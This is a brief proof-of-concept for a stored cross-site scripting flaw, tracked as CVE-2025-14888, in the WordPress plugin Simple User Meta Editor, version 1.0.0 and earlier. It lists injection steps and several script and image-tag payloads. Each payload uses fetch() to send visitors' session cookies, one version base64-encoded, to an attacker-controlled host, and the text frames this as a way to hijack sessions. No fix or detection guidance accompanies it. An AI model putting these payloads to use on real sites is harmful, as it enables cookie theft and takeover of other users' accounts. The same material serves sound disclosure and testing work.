CVE-2025-14888

// CVE-2025-14888 PoC - Simple User Meta Editor Stored XSS // Target: WordPress with Simple User Meta Editor plugin <= 1.0.0 // Attack Vector: Stored XSS via user meta value field // Step 1: Authenticate as administrator on WordPress site // Step 2: Navigate to User Meta Editor interface // Step 3: Inject malicious JavaScript into any user meta field // Example malicious payload: // <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> // or // <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> // PoC JavaScript execution chain: const payload = '<script>fetch("https://attacker.com/log?data="+btoa(document.cookie))</script>'; // When victim views the affected page, the script executes and exfiltrates session cookies. // This allows attacker to hijack authenticated sessions.

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